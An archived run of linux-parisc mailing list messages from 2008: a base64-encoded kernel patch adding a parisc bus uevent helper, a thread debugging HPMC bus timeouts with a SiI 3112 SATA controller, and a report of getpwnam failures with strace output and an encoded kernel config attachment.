Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1035>

W1BBVENIXSBwYXJpc2M6IGFkZCB1ZXZlbnQgaGVscGVyIGZvciBwYXJpc2MgYnVzCgp1ZGV2IGRl
dmljZS1kcml2ZXIgYXV0byBkZXRlY3Rpb24gd2FzIGZhaWxpbmcgdG8gd29yayBvbiB0aGUgR1ND
IGJ1cywgc2luY2UKdWRldiBkaWRuJ3Qga25ldyB3aWNoIGRyaXZlciB0byBsb2FkIGR1ZSB0byBh
IG1pc3NpbmcgTU9EQUxJQVMgZW52aXJvbm1lbnQKdmFyaWFibGUgZnJvbSBrZXJuZWwuCgpUaGlz
IHBhdGNoIGZpeGVzIHRoaXMgYnkgYWRkaW5nIHRoZSBNT0RBTElBUyBlbnZpcm9ubWVudCB2YXJp
YWJsZSB0byB0aGUgCnVldmVudCBrZXJuZWwgbm90aWZpY2F0aW9ucy4KU2luY2UgbW9kYWxpYXNf
c2hvdygpIGdlbmVyYXRlZCB0aGUgbW9kYWxpYXMgc3RyaW5nIGFscmVhZHksIEkgc3BsaXR0ZWQg
dGhpcwpvdXQgYW5kIGNyZWF0ZWQgYSBuZXcgc3RhdGljIGZ1bmN0aW9uIG1ha2VfbW9kYWxpYXMo
KSB3aGljaCBpcyBub3cgdXNlZCBieQptb2RhbGlhc19zaG93KCkgYW5kIHRoZSBuZXcgcGFyaXNj
X3VldmVudCgpIGZ1bmN0aW9uLgoKVGVzdGVkIG9uIDcxNS82NCBhbmQgYzMwMDAuCgpTaWduZWQt
b2ZmLWJ5OiBIZWxnZSBEZWxsZXIgPGRlbGxlckBnbXguZGU+CgpkaWZmIC0tZ2l0IGEvYXJjaC9w
YXJpc2Mva2VybmVsL2RyaXZlcnMuYyBiL2FyY2gvcGFyaXNjL2tlcm5lbC9kcml2ZXJzLmMKaW5k
ZXggODg0YjdjZS4uOTk0YmNkOSAxMDA2NDQKLS0tIGEvYXJjaC9wYXJpc2Mva2VybmVsL2RyaXZl
cnMuYworKysgYi9hcmNoL3BhcmlzYy9rZXJuZWwvZHJpdmVycy5jCkBAIC01NDksNiArNTQ5LDM4
IEBAIHN0YXRpYyBpbnQgcGFyaXNjX2dlbmVyaWNfbWF0Y2goc3RydWN0IGRldmljZSAqZGV2LCBz
dHJ1Y3QgZGV2aWNlX2RyaXZlciAqZHJ2KQogCXJldHVybiBtYXRjaF9kZXZpY2UodG9fcGFyaXNj
X2RyaXZlcihkcnYpLCB0b19wYXJpc2NfZGV2aWNlKGRldikpOwogfQogCitzdGF0aWMgc3NpemVf
dCBtYWtlX21vZGFsaWFzKHN0cnVjdCBkZXZpY2UgKmRldiwgY2hhciAqYnVmKQoreworCWNvbnN0
IHN0cnVjdCBwYXJpc2NfZGV2aWNlICpwYWRldiA9IHRvX3BhcmlzY19kZXZpY2UoZGV2KTsKKwlj
b25zdCBzdHJ1Y3QgcGFyaXNjX2RldmljZV9pZCAqaWQgPSAmcGFkZXYtPmlkOworCisJcmV0dXJu
IHNwcmludGYoYnVmLCAicGFyaXNjOnQlMDJYaHYlMDRYcmV2JTAyWHN2JTA4WFxuIiwKKwkJKHU4
KWlkLT5od190eXBlLCAodTE2KWlkLT5odmVyc2lvbiwgKHU4KWlkLT5odmVyc2lvbl9yZXYsCisJ
CSh1MzIpaWQtPnN2ZXJzaW9uKTsKK30KKworc3RhdGljIGludCBwYXJpc2NfdWV2ZW50KHN0cnVj
dCBkZXZpY2UgKmRldiwgc3RydWN0IGtvYmpfdWV2ZW50X2VudiAqZW52KQoreworCWNvbnN0IHN0
cnVjdCBwYXJpc2NfZGV2aWNlICpwYWRldjsKKwljaGFyIG1vZGFsaWFzWzQwXTsKKworCWlmICgh
ZGV2KQorCQlyZXR1cm4gLUVOT0RFVjsKKworCXBhZGV2ID0gdG9fcGFyaXNjX2RldmljZShkZXYp
OworCWlmICghcGFkZXYpCisJCXJldHVybiAtRU5PREVWOworCisJaWYgKGFkZF91ZXZlbnRfdmFy
KGVudiwgIlBBUklTQ19OQU1FPSVzIiwgcGFkZXYtPm5hbWUpKQorCQlyZXR1cm4gLUVOT01FTTsK
KworCW1ha2VfbW9kYWxpYXMoZGV2LCBtb2RhbGlhcyk7CisJaWYgKGFkZF91ZXZlbnRfdmFyKGVu
diwgIk1PREFMSUFTPSVzIiwgbW9kYWxpYXMpKQorCQlyZXR1cm4gLUVOT01FTTsKKworCXJldHVy
biAwOworfQorCiAjZGVmaW5lIHBhX2Rldl9hdHRyKG5hbWUsIGZpZWxkLCBmb3JtYXRfc3RyaW5n
KQkJCQlcCiBzdGF0aWMgc3NpemVfdCBuYW1lIyNfc2hvdyhzdHJ1Y3QgZGV2aWNlICpkZXYsIHN0
cnVjdCBkZXZpY2VfYXR0cmlidXRlICphdHRyLCBjaGFyICpidWYpCQlcCiB7CQkJCQkJCQkJXApA
QCAtNTY2LDEyICs1OTgsNyBAQCBwYV9kZXZfYXR0cl9pZChzdmVyc2lvbiwgIjB4JTA1eFxuIik7
CiAKIHN0YXRpYyBzc2l6ZV90IG1vZGFsaWFzX3Nob3coc3RydWN0IGRldmljZSAqZGV2LCBzdHJ1
Y3QgZGV2aWNlX2F0dHJpYnV0ZSAqYXR0ciwgY2hhciAqYnVmKQogewotCXN0cnVjdCBwYXJpc2Nf
ZGV2aWNlICpwYWRldiA9IHRvX3BhcmlzY19kZXZpY2UoZGV2KTsKLQlzdHJ1Y3QgcGFyaXNjX2Rl
dmljZV9pZCAqaWQgPSAmcGFkZXYtPmlkOwotCi0JcmV0dXJuIHNwcmludGYoYnVmLCAicGFyaXNj
OnQlMDJYaHYlMDRYcmV2JTAyWHN2JTA4WFxuIiwKLQkJKHU4KWlkLT5od190eXBlLCAodTE2KWlk
LT5odmVyc2lvbiwgKHU4KWlkLT5odmVyc2lvbl9yZXYsCi0JCSh1MzIpaWQtPnN2ZXJzaW9uKTsK
KwlyZXR1cm4gbWFrZV9tb2RhbGlhcyhkZXYsIGJ1Zik7CiB9CiAKIHN0YXRpYyBzdHJ1Y3QgZGV2
aWNlX2F0dHJpYnV0ZSBwYXJpc2NfZGV2aWNlX2F0dHJzW10gPSB7CkBAIC01ODcsNiArNjE0LDcg
QEAgc3RhdGljIHN0cnVjdCBkZXZpY2VfYXR0cmlidXRlIHBhcmlzY19kZXZpY2VfYXR0cnNbXSA9
IHsKIHN0cnVjdCBidXNfdHlwZSBwYXJpc2NfYnVzX3R5cGUgPSB7CiAJLm5hbWUgPSAicGFyaXNj
IiwKIAkubWF0Y2ggPSBwYXJpc2NfZ2VuZXJpY19tYXRjaCwKKwkudWV2ZW50ID0gcGFyaXNjX3Vl
dmVudCwKIAkuZGV2X2F0dHJzID0gcGFyaXNjX2RldmljZV9hdHRycywKIAkucHJvYmUgPSBwYXJp
c2NfZHJpdmVyX3Byb2JlLAogCS5yZW1vdmUgPSBwYXJpc2NfZHJpdmVyX3JlbW92ZSwKAAo=
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HPMC bus timeout on C3600
Date: Thu, 25 Dec 2008 16:57:50 +0100
Lines: 71
Approved: news@gmane.org
Message-ID: <20081225165750.29c5974c@bleh.bxl.tuxicoman.be>
References: <20081220133915.4c167e09@bleh.bxl.tuxicoman.be>
	<20081220221653.GA12880@bombadil.infradead.org>
	<20081220222100.GB12880@bombadil.infradead.org>
	<20081221081206.GC2047@colo.lackof.org>
	<20081222224023.2488f2ef@tuxicoman.be>
	<20081222214743.GC30144@bombadil.infradead.org>
	<20081222234948.776edb1b@tuxicoman.be>
	<20081225080606.GA11032@colo.lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1230222580 22980 80.91.229.12 (25 Dec 2008 16:29:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 25 Dec 2008 16:29:40 +0000 (UTC)
Cc: Kyle McMartin <kyle@infradead.org>, linux-parisc@vger.kernel.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 25 17:30:45 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LFt6h-0001Rg-PF
	for glpp-linux-parisc@gmane.org; Thu, 25 Dec 2008 17:30:44 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751738AbYLYQ31 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 25 Dec 2008 11:29:27 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751981AbYLYQ31
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 25 Dec 2008 11:29:27 -0500
Original-Received: from cable-85.28.90.237.coditel.net ([85.28.90.237]:52005 "EHLO
	ibiza.bxl.tuxicoman.be" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751738AbYLYQ30 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 25 Dec 2008 11:29:26 -0500
X-Greylist: delayed 1879 seconds by postgrey-1.27 at vger.kernel.org; Thu, 25 Dec 2008 11:29:26 EST
Original-Received: from bleh.bxl.tuxicoman.be ([2001:6f8:310:300:213:d4ff:fe5c:bd4f])
	by ibiza.bxl.tuxicoman.be with esmtps (TLSv1:AES256-SHA:256)
	(Exim 4.69)
	(envelope-from <gmsoft@tuxicoman.be>)
	id 1LFsau-0005X4-9J; Thu, 25 Dec 2008 16:57:56 +0100
In-Reply-To: <20081225080606.GA11032@colo.lackof.org>
X-Mailer: Claws Mail 3.5.0 (GTK+ 2.12.11; i686-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1036
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1036>

On Thu, 25 Dec 2008 01:06:06 -0700
Grant Grundler <grundler@parisc-linux.org> wrote:

> [ 1589.466507] Badness at fs/buffer.c:1186
> 
> Technically, this isn't a panic. This is a "WARN_ON".
> I didn't see any panic's after that either.

Yes sorry. The system is still usable after the WARN_ON occurs. So no
panic.

Because of this, wouldn't it be a good idea to commit Kyle's patch ?
To me it seems better to have a running system with failure messages
being log rather than an ugly and barely understandable HPMC.

> The file system warning us that the sata disk it was
> talking failed an IO. 
> 
> However, this is likely to be some other issue with the SATA
> controller. Can you post more details about the config?
> o "lspci -v"
> o hdparm -i /dev/sd<X>

Here it is :

01:04.0 Mass storage controller: Silicon Image, Inc. SiI 3112 [SATALink/SATARaid] Serial ATA Controller (rev 02)
        Subsystem: Silicon Image, Inc. SiI 3112 SATALink Controller
        Flags: bus master, 66MHz, medium devsel, latency 240, IRQ 21
        I/O ports at 12400 [size=8]
        I/O ports at 12300 [size=4]
        I/O ports at 12200 [size=8]
        I/O ports at 12100 [size=4]
        I/O ports at 12000 [size=16]
        Memory at fb807000 (32-bit, non-prefetchable) [size=512]
        Expansion ROM at fb880000 [disabled] [size=512K]
        Capabilities: [60] Power Management version 2
        Kernel modules: sata_sil

 
/dev/sdc:

 Model=WDC WD5000AAKS-00TMA0                   , FwRev=12.01C01, SerialNo=     WD-WMAPW1390228
 Config={ HardSect NotMFM HdSw>15uSec SpinMotCtl Fixed DTR>5Mbs FmtGapReq }
 RawCHS=16383/16/63, TrkSize=0, SectSize=0, ECCbytes=50
 BuffType=unknown, BuffSize=16384kB, MaxMultSect=16, MultSect=?0?
 CurCHS=16383/16/63, CurSects=16514064, LBA=yes, LBAsects=976773168
 IORDY=on/off, tPIO={min:120,w/IORDY:120}, tDMA={min:120,rec:120}
 PIO modes:  pio0 pio3 pio4 
 DMA modes:  mdma0 mdma1 mdma2 
 UDMA modes: udma0 udma1 udma2 udma3 udma4 *udma5 udma6 
 AdvancedPM=no WriteCache=disabled
 Drive conforms to: Unspecified:  ATA/ATAPI-1,2,3,4,5,6,7
 * signifies the current active mode


I'd like to add that I've been using the exact same card and hard drive on one of my x86 box for month without any issue.

Also I've reproduce the problem again and this time I've had this message right before the "end_request" line :
[  163.039983] timer_interrupt(CPU 0): delayed! cycles EB5EE1E6 rem 36AE6  next/now 706F7328/5BCE550E

Anything else I can do/provide to troubleshoot this ?


Cheers,
  Guy

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HPMC bus timeout on C3600
Date: Thu, 25 Dec 2008 14:36:25 -0700
Lines: 134
Approved: news@gmane.org
Message-ID: <20081225213625.GA7716@colo.lackof.org>
References: <20081220133915.4c167e09@bleh.bxl.tuxicoman.be> <20081220221653.GA12880@bombadil.infradead.org> <20081220222100.GB12880@bombadil.infradead.org> <20081221081206.GC2047@colo.lackof.org> <20081222224023.2488f2ef@tuxicoman.be> <20081222214743.GC30144@bombadil.infradead.org> <20081222234948.776edb1b@tuxicoman.be> <20081225080606.GA11032@colo.lackof.org> <20081225165750.29c5974c@bleh.bxl.tuxicoman.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1230241012 29064 80.91.229.12 (25 Dec 2008 21:36:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 25 Dec 2008 21:36:52 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	Kyle McMartin <kyle@infradead.org>,
	linux-parisc@vger.kernel.org
To: Guy Martin <gmsoft@tuxicoman.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 25 22:37:56 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LFxty-0006Mj-Kr
	for glpp-linux-parisc@gmane.org; Thu, 25 Dec 2008 22:37:55 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752047AbYLYVgj (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 25 Dec 2008 16:36:39 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752067AbYLYVgi
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 25 Dec 2008 16:36:38 -0500
Original-Received: from colo.lackof.org ([198.49.126.79]:46161 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752047AbYLYVgh (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 25 Dec 2008 16:36:37 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id A4A0A29C037;
	Thu, 25 Dec 2008 14:36:36 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10690-04; Thu, 25 Dec 2008 14:36:25 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id A24C918057B; Thu, 25 Dec 2008 14:36:25 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20081225165750.29c5974c@bleh.bxl.tuxicoman.be>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1037
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1037>

On Thu, Dec 25, 2008 at 04:57:50PM +0100, Guy Martin wrote:
> On Thu, 25 Dec 2008 01:06:06 -0700
> Grant Grundler <grundler@parisc-linux.org> wrote:
> 
> > [ 1589.466507] Badness at fs/buffer.c:1186
> > 
> > Technically, this isn't a panic. This is a "WARN_ON".
> > I didn't see any panic's after that either.
> 
> Yes sorry. The system is still usable after the WARN_ON occurs. So no
> panic.
> 
> Because of this, wouldn't it be a good idea to commit Kyle's patch ?

I don't think kyle intended to commit that patch. He just wanted to
collect more info.

HPMC is 99% (for parisc-linux at least) of the time a driver bug.
So having the system crash on IO errors (including DMA map/unmap bugs)
is good for getting bugs reported and the state of the IOMMU and PCI
Host controller to debug the problem.

On the other hand, users often don't care about those details even if they
see (like you did) the device isn't working right. They can more easily
track down which device/drivers are having problems and remove them from
the config.

> To me it seems better to have a running system with failure messages
> being log rather than an ugly and barely understandable HPMC.

While I agree with your characterization of HPMCs, I don't want to trade
HPMC dumps for kernel logs.  HPMC provides info we can't otherwise get.

HPMCs might be more useful if the symbol name of every kernel address
in the dump were printed.  Given the System.map, it should be
possible to do something like:
    hpmc_symbols System.map < HPMC_dump.txt > HPMC_symbols.txt

The program "a.c" already exists to do a symbol lookup given an kernel
address and System.map file:
    http://cvs.parisc-linux.org/build-tools/

> > The file system warning us that the sata disk it was
> > talking failed an IO. 
> > 
> > However, this is likely to be some other issue with the SATA
> > controller. Can you post more details about the config?
> > o "lspci -v"
> > o hdparm -i /dev/sd<X>
> 
> Here it is :
> 
> 01:04.0 Mass storage controller: Silicon Image, Inc. SiI 3112 [SATALink/SATARaid] Serial ATA Controller (rev 02)

Ok...so this is the sata_sil driver.

>         Subsystem: Silicon Image, Inc. SiI 3112 SATALink Controller
>         Flags: bus master, 66MHz, medium devsel, latency 240, IRQ 21
>         I/O ports at 12400 [size=8]
>         I/O ports at 12300 [size=4]
>         I/O ports at 12200 [size=8]
>         I/O ports at 12100 [size=4]
>         I/O ports at 12000 [size=16]
>         Memory at fb807000 (32-bit, non-prefetchable) [size=512]
>         Expansion ROM at fb880000 [disabled] [size=512K]
>         Capabilities: [60] Power Management version 2
>         Kernel modules: sata_sil
> 
>  
> /dev/sdc:
> 
>  Model=WDC WD5000AAKS-00TMA0                   , FwRev=12.01C01, SerialNo=     WD-WMAPW1390228
>  Config={ HardSect NotMFM HdSw>15uSec SpinMotCtl Fixed DTR>5Mbs FmtGapReq }
>  RawCHS=16383/16/63, TrkSize=0, SectSize=0, ECCbytes=50
>  BuffType=unknown, BuffSize=16384kB, MaxMultSect=16, MultSect=?0?
>  CurCHS=16383/16/63, CurSects=16514064, LBA=yes, LBAsects=976773168
>  IORDY=on/off, tPIO={min:120,w/IORDY:120}, tDMA={min:120,rec:120}
>  PIO modes:  pio0 pio3 pio4 
>  DMA modes:  mdma0 mdma1 mdma2 
>  UDMA modes: udma0 udma1 udma2 udma3 udma4 *udma5 udma6 
>  AdvancedPM=no WriteCache=disabled
>  Drive conforms to: Unspecified:  ATA/ATAPI-1,2,3,4,5,6,7
>  * signifies the current active mode

Ok - looks normal.

> I'd like to add that I've been using the exact same card and hard drive
> on one of my x86 box for month without any issue.

That doesn't mean the driver and chip operate 100% correctly.
Has anyone run exhaustive tests to detect data corruption with this card?

Looking at the sil_interrupt() code, it seems a PCI Master abort was
sometimes expected when reading the bmdma2 register:
	u32 bmdma2 = readl(mmio_base + sil_port[ap->port_no].bmdma2);
	...
	if (bmdma2 == 0xffffffff ||
	    !(bmdma2 & (SIL_DMA_COMPLETE | SIL_DMA_SATA_IRQ)))
		continue;


Also, older X86 platforms generally don't have an IOMMU (newer ones will)
and thus can't validate DMA transactions. I don't have the impression that's
the problem here though. But someone needs to decode the "Word2" of the
HPMC dump that you already provided.


> Also I've reproduce the problem again and this time I've had this message right before the "end_request" line :
> [  163.039983] timer_interrupt(CPU 0): delayed! cycles EB5EE1E6 rem 36AE6  next/now 706F7328/5BCE550E

Error handlers sometimes don't play nicely with interrupts.
I don't know enough about the error handling cases to track this down.

> Anything else I can do/provide to troubleshoot this ?

Two things:
o consider posting some of the original findings on linux-ide and see if
  anyone has tested this controller on PPC or IA64.  I'm looking for any
  other architecture that has "hard fail" behavior like parisc does.
  Testing on any other Big Endian HW would be worth hearing about too.

o write a quick and dirty "hpmc_symbols" script as described above and 
  run it on the HPMC you provided earlier.

Debugging this further wil probably require modifying the sata_sil driver 
to log (e.g. ktrace) it's activities while under test.

hth,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: uid/gid issues on 2.6.26-rc2
Date: Sat, 27 Dec 2008 19:53:46 -0500
Organization: nrc.ca
Lines: 218
Approved: news@gmane.org
Message-ID: <20081228005346.GA22574@hiauly1.hia.nrc.ca>
References: <7d01f9f00805181331y77b83a35jb897b622f163b0ef@mail.gmail.com>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="VbJkn9YxBvnuCH5J"
X-Trace: ger.gmane.org 1230425641 20594 80.91.229.12 (28 Dec 2008 00:54:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 28 Dec 2008 00:54:01 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Thibaut VARENE <T-Bone@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 28 01:55:08 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LGjvu-0006yL-UR
	for glpp-linux-parisc@gmane.org; Sun, 28 Dec 2008 01:55:07 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754543AbYL1Axu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 27 Dec 2008 19:53:50 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754587AbYL1Axt
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 27 Dec 2008 19:53:49 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2350 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754543AbYL1Axt (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 27 Dec 2008 19:53:49 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 5F9444EDA; Sat, 27 Dec 2008 19:53:47 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <7d01f9f00805181331y77b83a35jb897b622f163b0ef@mail.gmail.com>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1038
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1038>


--VbJkn9YxBvnuCH5J
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

On Sun, 18 May 2008, Thibaut VARENE wrote:

> Then, checking auth.log, I spotted a few very surprising things:
> 
> May 18 09:15:04 mkhppa3 sshd[1265]: Invalid user varenet from 147.215.7.200
> May 18 09:15:04 mkhppa3 sshd[1265]: Failed none for invalid user
> varenet from 147.215.7.200 port 58220 ssh2

I have seen this today testing 2.6.28 (32-bit UP).  The problem is also
present in postfix:

dave@hiauly6:/var/log$ less mail.err
Dec 27 12:45:41 hiauly6 postfix/sendmail[16726]: fatal: file /etc/postfix/main.cf: parameter mail_owner: unknown user name value: postfix

The only place this can occur is here:

static void check_mail_owner(void)
{
    struct passwd *pwd;

    if ((pwd = getpwnam(var_mail_owner)) == 0)
	msg_fatal("file %s/%s: parameter %s: unknown user name value: %s",
		  var_config_dir, MAIN_CONF_FILE,
		  VAR_MAIL_OWNER, var_mail_owner);

So, the problem is with getpwnam.  I don't see this with 2.6.22.19, so
the problem is likely a syscall issue.  These seem to be the syscalls
that directly relate to the getpwnam call:

open("/lib/libnss_files.so.2", O_RDONLY) = 3
read(3, "\177ELF\1\2\1\3\0\0\0\0\0\0\0\0\0\3\0\17\0\0\0\1\0\0$\f\0\0\0004\0"..., 512) = 512
fstat64(3, {st_mode=0, st_size=0, ...}) = 0
mmap(NULL, 52324, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x40b92000
mmap(0x40b9e000, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0xb000) = 0x40b9e000
close(3)                                = 0
munmap(0x4051b000, 30889)               = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40006000
open("/etc/passwd", O_RDONLY|O_CLOEXEC) = 3
fcntl64(3, F_GETFD)                     = 0x1 (flags FD_CLOEXEC)
_llseek(3, 0, [0], SEEK_CUR)            = 0
fstat64(3, {st_mode=0, st_size=0, ...}) = 0
mmap2(NULL, 1557, PROT_READ, MAP_SHARED, 3, 0) = 0x407ae000
_llseek(3, 1557, [1557], SEEK_SET)      = 0
munmap(0x407ae000, 1557)                = 0
close(3)                                = 0
exit_group(0)                           = ?

The failure appears random.  I think the problem occurs shortly after
forking.  It doesn't seem to be present in the 64-bit SMP 2.6.28 test
kernel that I'm testing.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

--VbJkn9YxBvnuCH5J
Content-Type: application/x-gunzip
Content-Disposition: attachment; filename="config-uly6.gz"
Content-Transfer-Encoding: base64

H4sICI3KVkkAA2NvbmZpZy11bHk2AIxca3PbNrP+/v4KTnpmTjuTNpJsK3Jn/AECQQkVbwZA
XfKFo9pKoxPH8lhy2/z7swBFCaR2mTczsS08C3ABLPaGpX76z08Bezvsvq0P24f109P34K/N
8+Z1fdg8Bt/WXzfBw+758/av34PH3fP/HoLN4/YAPeLt89u/wdfN6/PmKfh787rf7p5/Dwa/
DX8bjACOXrdBuHkIBsOgf/N7b/j7zTAY9HoA/YdnaSQnZc6U1Pzue/05SYrzB20Yn5UTlS10
kZ+b1UKLpJyIVCjJS53LNM74DPCfgiMFU3xaTpkuZZxNBmVxNQi2++B5dwj2mwNNNrz2yY5E
9XMimYZlKpamHEtzZqaGx8XksnG6EHIyRag5i+VYMSPKUMRsdUlgZCKQ8ZgKpbrXlwi0lrnK
xl4n1yRUyXNvSUMRHf+KpTZ37z48bf/88G33+Pa02X/4nyJliSiViAXT4sNv1Za/+w9s10/B
xInDk12at5fzBoolPAOYTQ2Lz48Zq2wm0jJLS514OydTaUqRzmHlLQMJLOTVoAZhE1k8F0rL
LL179w5rLllhMk8+FswbXK/0XOb8osH+5ib25SPPtFyWyX0hCoFKxliHdjm50LpknBuUyDA9
AxE1GheuIpQGkSc5q/7wVmVWswVPPDeDTIJURaWeysjc9YfnoTkciSLXmLBaoNR8KsLzQBGT
qoWchlLGR5ARCw0idNGNd3eCFY80yFquBAchDxt70kDK+aDBjj0NyIBWLnXOYD986sLoMsVX
3+47AbkZEVguQwoaxzPge+5kWGGT5rzMcji38pMoowwWDf5oTLwlhCIZizCk1g+I3S8We8dq
Bp/0KtGXLSVKB6fTKAZKVntdppnJY19b5UqmZuYdXh8UcVTyTHkz4VmSM9CCyu8C+qKMCp+H
qDBief7IUji+Ms1C4bEi8szvouUkZXHkiYtVg8pvEHPQNH6DniYi8R4jPf0wTyp6YLlIDagQ
b85clveFVDOvTcds7G+QjosxKgo6znAADnAkY5lOUDRhagZMIPs9ZXMBwuN6C58FB9Q6PkwY
zGQqFEwJExpgX6aRN3843IndheapMTJdVcuGDOI2UidWmnonm5yFRdwco2qyYs4FKCqGCfGR
pkgt7ll4vysCHlU99jit+MkQxDHyyBkQekLZdgvicdh9tLMSjgsXyMixjvyBK/qxnvjDnzWE
ERMlTUORORsqs0A/fNlYa/u6P9tQmTlFWqZZ5hvLYyvTl22hYCHImbhEeHTfsPasiE01xInP
urUeBF2TmgjG68Qtz8h61fCRrbt362fwK7cv68Pu9fvJtvMYNBNItuKFz2CkhPgk1MXy5a+7
h81+v3sNDt9fNsH6+TH4vFkf3l43e4effMqPvV4PP6DsY7/XizkFDuh+V+1+J2i07PU8zcIG
/iclImH41J/e8HqMegaVLwy/JsIZj/J61tBHF3h/OCP0UJtyeE1QgnuGcOIc4yhmBpQE+Gts
